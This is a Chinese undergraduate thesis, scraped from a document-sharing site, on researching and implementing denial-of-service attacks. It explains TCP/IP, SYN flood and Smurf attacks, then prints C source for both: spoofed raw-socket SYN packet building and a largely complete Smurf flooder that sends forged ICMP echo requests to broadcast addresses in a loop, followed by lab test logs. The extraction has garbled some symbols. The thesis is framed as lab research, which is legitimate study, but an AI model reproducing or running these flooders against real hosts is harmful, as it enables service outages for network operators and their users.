畢業(yè)設(shè)計論文DoS攻擊方式的研究及實現(xiàn)_第1頁
畢業(yè)設(shè)計論文DoS攻擊方式的研究及實現(xiàn)_第2頁
畢業(yè)設(shè)計論文DoS攻擊方式的研究及實現(xiàn)_第3頁
畢業(yè)設(shè)計論文DoS攻擊方式的研究及實現(xiàn)_第4頁
畢業(yè)設(shè)計論文DoS攻擊方式的研究及實現(xiàn)_第5頁
已閱讀5頁,還剩23頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、dos攻擊方式的研究及實現(xiàn)摘要:本文在對兩種攻擊方式的具體分析后,歸納出當(dāng)前流行的dos攻擊方式的主要特點,并根據(jù)攻擊的特點提供一些針對這些攻擊的防御方法。通過查閱各 種攻擊手段的資料,對其代碼進(jìn)行研究,用代碼實現(xiàn)兩種攻擊程序,然后在特定的環(huán)境下,模擬了攻擊測試,并對測試結(jié)果進(jìn)行比較、分析。 關(guān)鍵字:套接字;報文;拒絕服務(wù);資源衰竭;緩沖區(qū);校驗和;廣播;帶寬耗用 目 錄引言41 問題的提出41.1 dos攻擊的概念41.2 dos攻擊類型41.3 兩種攻擊方式分析52 基于dos攻擊的分析和設(shè)計102.1 功能需求102.2 性能需求102.3 系統(tǒng)結(jié)構(gòu)圖112.4 數(shù)據(jù)流程圖123 程序?qū)?/p>

2、現(xiàn)143.1 實現(xiàn)syn flood143.2 實現(xiàn)smurf164 攻擊測試224.1攻擊實例224.2 防御方法25結(jié)論27致謝27參考文獻(xiàn)27引言隨著信息技術(shù)特別是網(wǎng)絡(luò)技術(shù)的不斷發(fā)展,國際互聯(lián)網(wǎng)的全球化熱潮使人類社會進(jìn)入了一個新的信息時代。由于國際互聯(lián)網(wǎng)具有不受時間、地域限制的特性,而且計算機(jī)的處理能力迅速增長,越來越多的網(wǎng)絡(luò)攻擊工具被攻擊者應(yīng)用于因特網(wǎng)而引發(fā)了大混亂,而在攻擊中又以拒絕服務(wù)(dos)為主,這些拒絕服務(wù)型攻擊每年造成的商業(yè)損失達(dá)成百上千萬美元,對任何系統(tǒng)和網(wǎng)絡(luò)都構(gòu)成了威脅。為了防止dos造成更多的損失,很多研究人員加入到研究行列中來。為了讓大家對dos有更多的了解,所以對

3、 dos攻擊原理以及常見方法進(jìn)行研究。1 問題的提出1.1 dos攻擊的概念dos是denial of service的簡稱,即拒絕服務(wù),造成dos的攻擊行為被稱為dos攻擊,其目的是使計算機(jī)或網(wǎng)絡(luò)無法提供正常的服務(wù)。被dos攻擊時,主機(jī)上有大量等待的tcp連接,網(wǎng)絡(luò)中充斥著大量的無用的數(shù)據(jù)包。攻擊者源地址為假,制造高流量無用數(shù)據(jù),造成網(wǎng)絡(luò)擁塞,使受害主機(jī)無法正常和外界通訊。攻擊者利用受害主機(jī)提供的服務(wù)或傳輸協(xié)議上的缺陷,反復(fù)高速的發(fā)出特定的服務(wù)請求,使受害主機(jī)無法及時處理所有正常請求,嚴(yán)重時會造成系統(tǒng)死機(jī)。1.2 dos攻擊類型最常見的dos攻擊形式有4種:1)帶寬耗用(bandwidth-

4、consumption)攻擊,攻擊者有更多的可用帶寬而能夠造成受害者的擁塞或者征用多個站點集中網(wǎng)絡(luò)連接對網(wǎng)絡(luò)進(jìn)行攻擊。即以極大的通信量沖擊網(wǎng)絡(luò),使得所有可用網(wǎng)絡(luò)資源都被消耗殆盡,最后導(dǎo)致合法的用戶請求就無法通過。2)資源衰竭(resource-starvation)攻擊,與帶寬耗用不同的是在于消耗系統(tǒng)資源,一般涉及cpu利用率、內(nèi)存、文件系統(tǒng)限額和系統(tǒng)進(jìn)程總數(shù)之類的系統(tǒng)資源消耗。即用大量的連接請求沖擊計算機(jī),使得所有可用的操作系統(tǒng)資源都被消耗殆盡,最終計算機(jī)無法再處理合法用戶的請求。3)編程缺陷(programming flaw)是應(yīng)用程序、操作系統(tǒng)在處理異常條件上的失敗。這些異常條件通常在用

5、戶向脆弱的元素發(fā)送非期望的數(shù)據(jù)時發(fā)生。對于依賴用戶輸入的特定應(yīng)用程序來說,攻擊者可能發(fā)送大數(shù)據(jù)串,這樣就有可能創(chuàng)建一個緩沖區(qū)溢出條件而導(dǎo)致其崩潰。4)dns攻擊是基于域名系統(tǒng)的攻擊,攻擊者向放大網(wǎng)絡(luò)的廣播地址發(fā)送源地址偽造成受害者系統(tǒng)的icmp回射請求分組,這樣放大效果開始表現(xiàn),放大網(wǎng)絡(luò)上的所有系統(tǒng)對受害者系統(tǒng)作出響應(yīng),受害者系統(tǒng)所有可用帶寬將被耗盡。1.3 兩種攻擊方式分析1)tcp/ip協(xié)議因為對于網(wǎng)絡(luò)協(xié)議都是分層的,所以tcp/ip協(xié)議不例外,它可以分為四個層次:1.鏈路層:數(shù)據(jù)鏈路層或網(wǎng)絡(luò)接口層,通常包括操作系統(tǒng)中的設(shè)備驅(qū)動程序和計算機(jī)中對應(yīng)的網(wǎng)絡(luò)接口卡;2.網(wǎng)絡(luò)層:互連網(wǎng)層,處理分組

6、在網(wǎng)絡(luò)中的活動,網(wǎng)絡(luò)層協(xié)議包括(ip協(xié)議、icmp協(xié)議、igmp協(xié)議);3.傳輸層:它主要為兩臺主機(jī)上的應(yīng)用程序提供端到端的通信;4.應(yīng)用層:負(fù)責(zé)處理特定的應(yīng)用程序細(xì)節(jié)(telnet遠(yuǎn)程登陸、ftp文件傳輸協(xié)議、smtp用于電子郵件的簡單郵件傳輸協(xié)議、snmp簡單網(wǎng)絡(luò)管理協(xié)議。tcp/ip協(xié)議的重點就是ip協(xié)議(網(wǎng)際互連協(xié)議)和tcp協(xié)議(傳輸控制協(xié)議)。首先介紹ip協(xié)議,ip協(xié)議的主要功能包括無連接數(shù)據(jù)報傳送、數(shù)據(jù)報尋徑以及差錯處理三部分。ip層作為通信子網(wǎng)的最高層,提供無連接的數(shù)據(jù)報傳輸機(jī)制。ip數(shù)據(jù)報協(xié)議非常簡單,不能保證傳輸?shù)目煽啃?。ip協(xié)議是點到點的,它向上層提供統(tǒng)一的ip數(shù)據(jù)報,使

7、得各種物理幀的差異性對上層協(xié)議不復(fù)存在。tcp建立在不可靠的ip協(xié)議之上,ip不能提供任何可靠性機(jī)制,所以tcp的可靠性完全由自己實現(xiàn)。tcp采用的最基本的可靠性技術(shù)是:確認(rèn)與超時重傳。流量控制也是保證可靠性的一個重要措施,假如無流量控制,可能因接受緩沖區(qū)溢出而丟失大量數(shù)據(jù),導(dǎo)致許多重傳。此外,tcp還要進(jìn)行擁塞控制,目的也不外乎提供可靠性。怎樣才能建立可靠的連接呢?tcp使用了“三次握手”機(jī)制:第一次,“客戶機(jī)”向“服務(wù)器”發(fā)送連接請求,其中包括“客戶機(jī)”端的初始報文序號(比如x)。第二次,“服務(wù)器”收到連接請求后,發(fā)回連接確認(rèn),其中包括“服務(wù)器”端的初始報文序號(比如y),以及“服務(wù)器”對

8、“客戶機(jī)”初始報文序號(x)的確認(rèn)。第三次,“客戶機(jī)”向“服務(wù)器”發(fā)送x序號數(shù)據(jù),其中包括對“服務(wù)器”初始序號y的確認(rèn)。撤消連接比建立連接簡單,但也可能造成數(shù)據(jù)丟失,因為連接的雙方都可以發(fā)起撤除連接操作。假如a、b兩機(jī)建立連接并傳輸報文。在a機(jī)毫無準(zhǔn)備的情況下,b機(jī)單方面發(fā)出斷連請求,并立刻終止接收該連接上的數(shù)據(jù)。在a機(jī)未收到斷連接請求之前,隨時可能向b機(jī)發(fā)送數(shù)據(jù),于是便有了數(shù)據(jù)丟失的可能性。為了解決此問題,再次用到三次握手方法。一方發(fā)出斷連請求后并不立即撤除連接,而要等待對方確認(rèn);對方收到請求后,發(fā)送確認(rèn)報文,并撤除連接;發(fā)起方收到確認(rèn)后最后撤除連接。tcp的擁塞控制也是基于滑動窗口協(xié)議的,

9、通過限制發(fā)送端向網(wǎng)間網(wǎng)注入報文的速率而達(dá)到控制擁塞的目的。tcp發(fā)現(xiàn)擁塞的途徑有兩條:一條是來自icmp的源抑制報文,一條是報文丟失現(xiàn)象。tcp/ip協(xié)議的分析主要在于ip數(shù)據(jù)報和tcp數(shù)據(jù)報的格式。那么我們應(yīng)該首先了解ip數(shù)據(jù)報和tcp數(shù)據(jù)報的格式。各種數(shù)據(jù)格式常常以32bit(即4字節(jié))為單位來描述。ip數(shù)據(jù)報的完整格式:優(yōu)先級別dtrc未用 版本首部長度服務(wù)類型 總長度 標(biāo)識標(biāo)志 片偏移生存時間協(xié)議 首部檢驗和源地址目的地址長度可變的可選字段填充 ip數(shù)據(jù)報首部ip數(shù)據(jù)部分ip數(shù)據(jù)報首部的固定部分中的各字段1.版本:占4bit,指ip協(xié)議的版本。通信雙方使用的ip協(xié)議的版本必須一致。2.

10、首部長度:占4bit,可以表示的最大數(shù)值是15個單位(一個單位為4字節(jié)),因此ip的首部長度的最大值是60字節(jié)。3.服務(wù)類型:占8bit,用來獲得更好的服務(wù)。4.總長度:總長度指首部和數(shù)據(jù)之和的長度,單位為字節(jié)。5.標(biāo)識:占16bit,它是一個計數(shù)器,用來產(chǎn)生數(shù)據(jù)報的標(biāo)識。6.標(biāo)志:占3bit。7.片偏移:較長的分組在分片后,某片在原分組中的相對位置。8.生存時間:生存時間字段記為ttl,即數(shù)據(jù)報在網(wǎng)絡(luò)中的壽命9.協(xié)議:占8bit,協(xié)議字段指出此數(shù)據(jù)報攜帶的數(shù)據(jù)是使用何種協(xié)議,以便使目的主機(jī)的ip層字段應(yīng)將此數(shù)據(jù)報上報給哪個進(jìn)程。10.首部檢驗和:此字段只檢驗數(shù)據(jù)報的首部,不包括數(shù)據(jù)部分。tc

11、p數(shù)據(jù)報的完整格式:源端口目的端口序號確認(rèn)號數(shù)據(jù)偏 移保留urgackpshrstsynfin窗口檢驗和緊急指針選項(長度可變)填充tcp數(shù)據(jù)報首部tcp數(shù)據(jù)部分 ip數(shù)據(jù)報首部ip數(shù)據(jù)部分tcp首部固定部分各字段的意義如下1.源端口和目的端口:各占2個字節(jié)。端口是運(yùn)輸層與應(yīng)用層的服務(wù)接口,16bit的端口號加上32bit的ip地址,構(gòu)成了socket,它相當(dāng)于運(yùn)輸層服務(wù)訪問點tsap的地址(總共是48bit)。這些端口用來將若干高層協(xié)議向下復(fù)用,也用來將運(yùn)輸層協(xié)議向上分用。2.序號:占4bit。tcp是面向數(shù)據(jù)流的,它傳送的報文可以看成為連續(xù)的數(shù)據(jù)流,其中每一個字節(jié)都對應(yīng)于一個序號。首部中的

12、“序號”則指的是本報文段所發(fā)送的數(shù)據(jù)中第一個字節(jié)的序號。3.確認(rèn)序號:占4字節(jié),是期望收到對方的下一個報文段的數(shù)據(jù)的第一個字節(jié)的序號,也就是期望收到的下一個報文段首部的序號字段的值。4.數(shù)據(jù)偏移:占4bit,它指出數(shù)據(jù)開始的地方離tcp報文段的起始處有多遠(yuǎn)。5.保留:占6bit,保留為今后使用,目前應(yīng)為06.緊急比特(urg):當(dāng)urg=1時,表明緊急指針字段有效。它告訴系統(tǒng)此報文段中有緊急數(shù)據(jù),應(yīng)盡快傳送(相當(dāng)于高優(yōu)先級的數(shù)據(jù)),而不按原來的排隊順序來傳送。7.確認(rèn)比特ack:只有當(dāng)ack=1時確認(rèn)序號字段才有效。8.推送比特psh:當(dāng)兩個應(yīng)用進(jìn)程進(jìn)行交互式的通信時,有時在一端的應(yīng)用進(jìn)程希望

13、在鍵入一個命令后立即就能夠收到對方的響應(yīng)。9.復(fù)位比特rst:當(dāng)rst=1時,表明tcp連接中出現(xiàn)嚴(yán)重差錯,必須釋放連接,然后再重新建立運(yùn)輸連接。10.同步比特syn:在連接建立時用來同步的序號。11.終止比特fin:用來釋放一個連接。12.窗口:占2字節(jié)。窗口字段用來控制對方發(fā)送的數(shù)據(jù)量,單位為字節(jié)。13.檢驗和:占2字節(jié)。檢驗和字段檢驗的范圍包括首部和數(shù)據(jù)這兩部分。2) syn flood攻擊syn flood 是一種比較有效而又非常難于防御的一種dos攻擊方式。它利用tcp三次握手協(xié)議的缺陷,向目標(biāo)主機(jī)發(fā)送大量的偽造源地址的syn連接請求,消耗目標(biāo)主機(jī)的資源,從而不能夠為正常用戶提供服務(wù)

14、。這個攻擊是經(jīng)典的以小搏大的攻擊,自己使用少量資源占用對方大量資源。一臺p4的linux系統(tǒng)大約能發(fā)到3040m的64字節(jié)的syn報文,而一臺普通的服務(wù)器20m的流量就基本沒有任何響應(yīng)了(包括鼠標(biāo)、鍵盤)。而且syn不僅可以遠(yuǎn)程進(jìn)行,而且可以偽造源ip地址,給追查造成很大困難,要查找必須所有骨干網(wǎng)絡(luò)運(yùn)營商,一級一級路由器的向上查找。要掌握syn flood攻擊的基本原理,必須先介紹tcp的三次握手機(jī)制。tcp 三次握手過程如下:1客戶端向服務(wù)器端發(fā)送一個syn置位的tcp報文,包含客戶端使用的端口號和初始序列號x;2服務(wù)器端收到客戶端發(fā)送來的syn報文后,向客戶端發(fā)送一個syn和ack都置位的

15、tcp報文,包含確認(rèn)號為x1和服務(wù)器的初始序列號y;3客戶端收到服務(wù)器返回的synack報文后,向服務(wù)器返回一個確認(rèn)號為y1序號為x1的ack報文,一個標(biāo)準(zhǔn)的tcp連接完成。如圖1所示:tcp客戶端客戶端端口(102465535)tcp服務(wù)器端服務(wù)器端口(11023)synsyn/ackack132圖1 正常情況下tcp連接建立的過程攻擊原理:在syn flood攻擊中,黑客機(jī)器向受害主機(jī)發(fā)送大量偽造源地址的tcp syn報文,受害主機(jī)分配必要的資源,然后向源地址返回synack包,并等待源端返回ack包,如圖2所示。由于源地址是偽造的,所以源端永遠(yuǎn)都不會返回ack報文,并向受害主機(jī)繼續(xù)發(fā)送s

16、ynack包,當(dāng)目標(biāo)計算機(jī)收到請求后,就會使用一些系統(tǒng)資源來為新的連接提供服務(wù),接著回復(fù)synack。假如一個用戶向服務(wù)器發(fā)送報文后突然死機(jī)或掉線,那么服務(wù)器在發(fā)出synack應(yīng)答報文后是無法再接受到客戶端的ack報文(第三次握手無法完成)。一些系統(tǒng)都有缺省的回復(fù)次數(shù)和超時時間,這種情況下服務(wù)器端一般會重新發(fā)送synack報文給客戶端,只有達(dá)到一定次數(shù)或者超時,占用的系統(tǒng)資源才會被釋放。這段時間我們稱為syn timeout,雖然時間長度是分鐘的數(shù)量級,但是由于端口的半連接隊列的長度是有限的,如果不斷的向受害主機(jī)發(fā)送大量的tcp syn報文,半連接隊列就會很快填滿,服務(wù)器拒絕新的連接,將導(dǎo)致該

17、端口無法響應(yīng)其他機(jī)器進(jìn)行的連接請求,最終使受害主機(jī)的資源耗盡。圖2 syn flood攻擊示意圖tcp客戶端客戶端端口(102465535)tcp服務(wù)器端服務(wù)器端口(11023)synsyn/ack12偽造源地址3) smurf攻擊smurf攻擊因為其放大效果成為最令人害怕的generic dos攻擊之一。這種放大效果是往一個網(wǎng)絡(luò)上的多個系統(tǒng)發(fā)送定向廣播的ping請求,這些系統(tǒng)接著對這種請求作出響應(yīng)的結(jié)果。攻擊原理:smurf攻擊是這種攻擊的早期形式,是一種在局域網(wǎng)中的攻擊手段。它的作用原理是基于廣播地址與回應(yīng)請求的。一臺計算機(jī)向另一臺計算機(jī)發(fā)送一些特殊的數(shù)據(jù)包如ping請求時,會接到它的回應(yīng)

18、;如果向本網(wǎng)絡(luò)的廣播地址發(fā)送請求包,實際上會到達(dá)網(wǎng)絡(luò)上所有的計算機(jī),這時就會得到所有計算機(jī)的回應(yīng)。這些回應(yīng)是需要被接收的計算機(jī)處理的,每處理一個就要占用一份系統(tǒng)資源,如果同時接到網(wǎng)絡(luò)上所有計算機(jī)的回應(yīng),接收方的系統(tǒng)是有可能吃不消的,就象遭到了ddos攻擊一樣。大家會疑問,誰會無聊得去向網(wǎng)絡(luò)地址發(fā)包而招來所有計算機(jī)的攻擊呢?當(dāng)然做為一個正常的操作者是不會這么做的,但是當(dāng)黑客要利用這個原理進(jìn)行smurf攻擊的時候,他會代替受害者來做這件事。黑客向廣播地址發(fā)送請求包,所有的計算機(jī)得到請求后,卻不會把回應(yīng)發(fā)到黑客那里,而是被攻擊的計算機(jī)處。這是因為黑客冒充了被攻擊主機(jī)。黑客發(fā)包所用的軟件是可以偽造源地

19、址的,接到偽造數(shù)據(jù)包的主機(jī)會根據(jù)源地址把回應(yīng)發(fā)出去,這當(dāng)然就是被攻擊目標(biāo)的地址。黑客同時還會把發(fā)包的間隔減到幾毫秒,這樣在單位時間能發(fā)出數(shù)以千計的請求,使受害者接到被欺騙計算機(jī)那里傳來的洪水般的回應(yīng)。象遭到其他類型的拒絕服務(wù)攻擊一樣,被攻擊主機(jī)會網(wǎng)絡(luò)和系統(tǒng)無法響應(yīng),嚴(yán)重時還會導(dǎo)致系統(tǒng)崩潰。黑客借助了網(wǎng)絡(luò)中所有計算機(jī)來攻擊受害者,而不需要事先去占領(lǐng)這些被欺騙的主機(jī)。2 基于dos攻擊的分析和設(shè)計2.1 功能需求 1)軟件需要在命令行模式下運(yùn)行。 2)被攻擊主機(jī)應(yīng)確保處于運(yùn)行態(tài)。 3)網(wǎng)絡(luò)傳輸速度較快。2.2 性能需求 系統(tǒng)對運(yùn)行環(huán)境的要求:1) 硬件環(huán)境 局域網(wǎng)環(huán)境百兆交換機(jī)高性能pc一臺普通性

20、能pc一臺 2) 軟件環(huán)境win 2000操作系統(tǒng)unix操作系統(tǒng) 網(wǎng)絡(luò)監(jiān)聽工具snoopc+編譯工具visual studio 6.02.3 系統(tǒng)結(jié)構(gòu)圖初始化syn flood初始化緩沖 區(qū)初始化套接 字tcp首部校驗和構(gòu)造tcp報文ip首部校驗 和發(fā)送報文進(jìn)行攻 擊 圖3 syn flood結(jié)構(gòu)圖初始化smurf初始化緩沖 區(qū)初始化套接 字icmp校驗和構(gòu)造偽造icmp報文wenn 文ip首部校驗 和發(fā)送定向廣播進(jìn)行攻 擊 圖4 smurf結(jié)構(gòu)圖2.4 數(shù)據(jù)流程圖syn flood數(shù)據(jù)流程圖如下:偽tcp首部校驗和tcp首部 構(gòu)造tcp報文用戶校驗和ip首部發(fā)送報文被攻擊主機(jī) 圖5 syn

21、 flood數(shù)據(jù)流程圖smurf數(shù)據(jù)流程圖如下:校驗和icmp 構(gòu)造icmp報文用戶校驗和ip首部icmp回射請求分組被攻擊主機(jī)所在網(wǎng)絡(luò) 圖6 smurf數(shù)據(jù)流程圖3 程序?qū)崿F(xiàn)3.1 實現(xiàn)syn flood程序描述:目的:利用tcp連接三次握手定理進(jìn)行攻擊.特點:發(fā)起的連接都是半連接功能輸入 處理 輸出被攻擊主機(jī)ip 生成偽造ip的報文向被攻擊主機(jī)發(fā)送報文性能要求 對tcp 、ip首部校驗和運(yùn)算要有較快速度攻擊機(jī)所處局域網(wǎng)內(nèi)機(jī)器較少,避免偽造ip與網(wǎng)內(nèi)機(jī)器ip相同輸入項 被攻擊主機(jī)ip輸出項 偽造的syn報文流程邏輯/定義tcp首部typedef struct _tcphdr ushort t

22、h_sport; /16位源端口ushort th_dport; /16位目的端口unsigned int th_seq; /32位序列號unsigned int th_ack; /32位確認(rèn)號unsigned char th_lenres; /4位首部長度+6位保留字中的4位unsigned char th_flag; /2位保留字+6位標(biāo)志位ushort th_win; /16位窗口大小ushort th_sum; /16位校驗和ushort th_urp; /16位緊急數(shù)據(jù)偏移量tcp_header;/定義ip首部typedef struct _iphdrunsigned char h_

23、verlen; /4位首部長度+4位ip版本號unsigned char tos; /8位服務(wù)類型tosunsigned short total_len; /16位總長度(字節(jié))unsigned short ident; /16位標(biāo)識unsigned short flags; /3位標(biāo)志位unsigned char ttl; /8位生存時間 ttlunsigned char proto; /8位協(xié)議號(tcp, udp 或其他)unsigned short checksum; /16位ip首部校驗和unsigned int sourceip; /32位源ip地址unsigned int des

24、tip; /32位目的ip地址ip_header;/建立原始套接字sockraw=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped);/計算校驗和ushort checksum(ushort *buffer, int size) unsigned long cksum=0;while(size >1) cksum+=*buffer+; size -=sizeof(ushort); if(size ) cksum += *(uchar*)buffer;cksum = (cksum >> 16) +

25、 (cksum & 0xffff);cksum += (cksum >>16);return (ushort)(cksum);/構(gòu)造tcp偽首部,保證校驗和的有效性struct unsigned long saddr; /源地址unsigned long daddr; /目的地址char mbz; /置空char ptcl; /協(xié)議類型unsigned short tcpl; /tcp長度psd_header;/這兩個字段復(fù)制到同一個緩沖區(qū)sendbuf中并計算tcp校驗和memcpy(sendbuf,&psd_header,sizeof(psd_header);m

26、emcpy(sendbuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header);tcp_header.th_sum=checksum(ushort*)sendbuf,sizeof(psd_header)+sizeof(tcp_header);/計算ip校驗和memcpy(sendbuf,&ip_header,sizeof(ip_header);memcpy(sendbuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header);ip_header.checksum=checksum

27、(ushort *)sendbuf, sizeof(ip_header)+sizeof(tcp_header);/形成tcp報文memcpy(sendbuf,&ip_header,sizeof(ip_header);/向被攻擊機(jī)發(fā)送syn請求sendto(sockraw,sendbuf,datasize,0,(struct sockaddr*)&destaddr,sizeof(destaddr);3.2 實現(xiàn)smurf程序描述:目的:利用發(fā)送定向廣播進(jìn)行攻擊.特點:攻擊效果被放大 功能 向被攻擊主機(jī)所在網(wǎng)絡(luò)發(fā)送icmp回射請求分組性能要求 對icmp、ip首部校驗和運(yùn)算要有較快

28、速度攻擊機(jī)所處局域網(wǎng)內(nèi)機(jī)器較多,達(dá)到攻擊放大效果輸入項 被攻擊主機(jī)ip , 廣播地址所在文件,包數(shù),包之間延遲,包大小輸出項 icmp報文流程邏輯/幫助信息void usage (char *prog) fprintf(stderr, "usage: %s <target> <bcast file> " "<num packets> <packet delay> <packet size>nn" "target=address to hitn" "bcast fil

29、e=file to read broadcast addresses fromn" "num packets=number of packets to send (0 = flood)n" "packet delay=wait between each packet (in ms)n" "packet size=size of packet (< 1024)nn", prog); exit(-1); /計算校驗和ushort checksum(ushort *buffer, int size) unsigned lon

30、g cksum=0;while(size >1) cksum+=*buffer+; size -=sizeof(ushort); if(size ) cksum += *(uchar*)buffer;cksum = (cksum >> 16) + (cksum & 0xffff);cksum += (cksum >>16);return (ushort)(cksum);/主函數(shù)int main(int argc, char *argv) struct sockaddr_in sin; /地址結(jié)構(gòu) struct hostent *he; /主機(jī)信息結(jié)構(gòu) fi

31、le *bcastfile; /廣播地址文件 int i,sock,bcast,delay,num,pktsize,cycle = 0, x; char buf32, *bcastaddr = malloc(8192); banner(); /顯示標(biāo)記 signal(sigint, ctrlc); if (argc < 6) usage(argv0); /如果主機(jī)名為空,顯示出錯信息 if (he = gethostbyname(argv1) = null) perror("resolving source host"); exit(-1); /獲得被攻擊主機(jī)ip地址

32、 memcpy(caddr_t)&sin.sin_addr, he->h_addr, he->h_length); /通訊發(fā)生區(qū)域為windowssin.sin_family = af_inet; /端口置空sin.sin_port = htons(0); num=atoi(argv3); delay=atoi(argv4); pktsize=atoi(argv5); /以只讀方式打開廣播地址文件失敗if (bcastfile=fopen(argv2,"r")=null) perror("opening bcast file"); e

33、xit(-1); x=0; /讀入全部廣播地址 while (!feof(bcastfile) fgets(buf,32,bcastfile); if (buf0='#'| buf0 = 'n' | ! isdigit(buf0) continue; for (i=0; i<strlen(buf);i+) if (bufi='n') bufi='0' bcastaddrx=malloc(32); strcpy(bcastaddrx,buf); x+; bcastaddrx=0x0; fclose(bcastfile); /廣

34、播地址文件不存在 if (x=0) fprintf(stderr,"error: no broadcasts found in file %snn",argv2); exit(-1); /包大于1024字節(jié) if (pktsize > 1024) fprintf(stderr, "error: packet size must be < 1024nn"); exit(-1); /原始套接字初始化 if (sock = socket(af_inet, sock_raw, ipproto_raw) < 0) perror("get

35、ting socket"); exit(-1); /設(shè)置套接字選項 setsockopt(sock, sol_socket, so_broadcast, (char *)&bcast, sizeof(bcast); printf("flooding %s (. = 25 outgoing packets)n", argv1); /循環(huán)發(fā)送icmp回射請求 for (i=0; i<num | !num; i+) if (!(i % 25) printf("."); fflush(stdout); smurf(sock, sin, i

36、net_addr(bcastaddrcycle), pktsize); cycle+; if (bcastaddrcycle = 0x0) cycle = 0; usleep(delay); puts("nn"); return 0; /smurf攻擊實現(xiàn)函數(shù)void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) /ip首部結(jié)構(gòu) struct iphdr *ip; /icmp 報文結(jié)構(gòu) struct icmphdr *icmp; char *packet; /初始化icmp 報文 packe

37、t=malloc(sizeof(struct iphdr)+sizeof(struct icmphdr)+psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); /設(shè)置ip首部并計算校驗和 ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp

38、hdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = ipproto_icmp; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum(u_short *)ip, sizeof(struct iphdr); /設(shè)置icmp報文并計算校驗和icmp->type = 8; icmp->c

39、ode = 0; icmp->checksum = in_chksum(u_short *)icmp, sizeof(struct icmphdr) + psize); /發(fā)送icmp報文 sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr); 4 攻擊測試4.1攻擊實例1)syn flood下面是模擬的一次syn flood攻擊的實際過程    &#

40、160;這一個局域網(wǎng)環(huán)境,只有一臺攻擊機(jī)(piii667/128),被攻擊的是一臺solaris 8.0 (spark)的主機(jī),網(wǎng)絡(luò)設(shè)備是cisco的百兆交換機(jī)。這是在攻擊并未進(jìn)行之前,在solaris上進(jìn)行snoop的記錄,snoop與tcpdump等網(wǎng)絡(luò)監(jiān)聽工具一樣,也是一個很好的網(wǎng)絡(luò)抓包與分析的工具??梢钥吹焦糁?,目標(biāo)主機(jī)上接到的基本上都是一些普通的網(wǎng)絡(luò)包。 ? -> (broadcast) ether type=886f (unknown), size = 1510 bytes ? -> (broadcast) ether type=886f (unknown), si

41、ze = 1510 bytes ? -> (multicast) ether type=0000 (llc/802.3), size = 52 bytes ? -> (broadcast) ether type=886f (unknown), size = 1510 bytes6 -> 55 nbt datagram service type=17 source=gu047 -> 55 nbt datagram service type=17 source=tsc0 ? ->

42、(broadcast) ether type=886f (unknown), size = 1510 bytes00 -> (broadcast) arp c who is 02, 02 ? -> (broadcast) ether type=886f (unknown), size = 1510 bytes ? -> (broadcast) ether type=886f (unknown), size = 1510 bytes6 -> 55 nbt data

43、gram service type=17 source=gu0 ? -> (multicast) ether type=0000 (llc/802.3), size = 52 bytes ? -> (broadcast) ether type=886f (unknown), size = 1510 bytes ? -> (broadcast) ether type=886f (unknown), size = 1510 bytes接著,攻擊機(jī)開始發(fā)包,dos開始了,突然間主機(jī)上的snoop窗口開始飛速地翻屏,顯示出接到數(shù)量巨大的syn請求。這時候內(nèi)容完全不同了,再也收不到剛才

44、那些正常的網(wǎng)絡(luò)包,只有dos包。大家注意一下,這里所有的syn flood攻擊包的源地址都是偽造的,給追查工作帶來很大困難。# netstat -an | grep syn83.9 9.1801 0 0 24656 0 syn_rcvd83.13 9.1801 0 0 24656 0 syn_rcvd83.19 9.1801 0 0 24656 0 syn_rcvd83.21 9.1801 0 0 24656 0 syn_rcvd192

45、.2 9.1801 0 0 24656 0 syn_rcvd83.23 9.1801 0 0 24656 0 syn_rcvd83.25 9.1801 0 0 24656 0 syn_rcvd83.37 9.1801 0 0 24656 0 syn_rcvd83.53 9.1801 0 0 24656 0 syn_rcvd其中syn_rcvd表示當(dāng)前未完成的tcp syn隊列,統(tǒng)計一下:# net

46、stat -an | grep syn | wc l5273# netstat -an | grep syn | wc l5154# netstat -an | grep syn | wc l5267共有五千多個syn的半連接存儲在內(nèi)存中。這時候被攻擊機(jī)已經(jīng)不能響應(yīng)新的服務(wù)請求了,系統(tǒng)運(yùn)行非常慢,也無法ping通。這是在攻擊發(fā)起后僅僅70秒鐘左右時的情況。2) smurf下面是模擬的一次smurf攻擊:在局域網(wǎng)環(huán)境下,發(fā)起攻擊的主機(jī)是unix操作系統(tǒng),被攻擊主機(jī)是普通pc,因為smurf攻擊效果和被攻擊主機(jī)所在網(wǎng)絡(luò)主機(jī)數(shù)有很大關(guān)系,所以選擇了一個在線用戶多的時間,發(fā)起了攻擊。下圖是被攻擊主機(jī)用

47、snoop抓圖的結(jié)果: 78 -> auth c port=1352 72 -> tcp d=114 s=1352 seq=674711609 len=0 win=65535 1 -> tcp d=115 s=1352 seq=674711609 len=0 win=65535 8 -> uucp-path c port=1352 2 -> tcp d=118 s=1352 seq=674711609 len=0 win=65535

48、18 -> nntp c port=1352 4 -> tcp d=121 s=1352 seq=674711609 len=0 win=65535 8 -> tcp d=122 s=1352 seq=674711609 len=0 win=65535 4 -> tcp d=124 s=1352 seq=674711609 len=0 win=65535 1 -> tcp d=125 s=1352 seq=674711609 len=0 win=65535 192.168.0.

49、59 -> tcp d=126 s=1352 seq=674711609 len=0 win=65535 13 -> tcp d=128 s=1352 seq=674711609 len=0 win=65535 2 -> tcp d=130 s=1352 seq=674711609 len=0 win=65535 04 -> tcp d=131 s=1352 seq=674711609 len=0 win=65535 56 -> tcp d=133 s=1352 seq=674

